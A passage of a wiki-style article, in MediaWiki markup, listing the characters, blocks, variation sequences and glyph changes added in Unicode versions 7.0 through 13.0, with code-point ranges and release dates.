* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
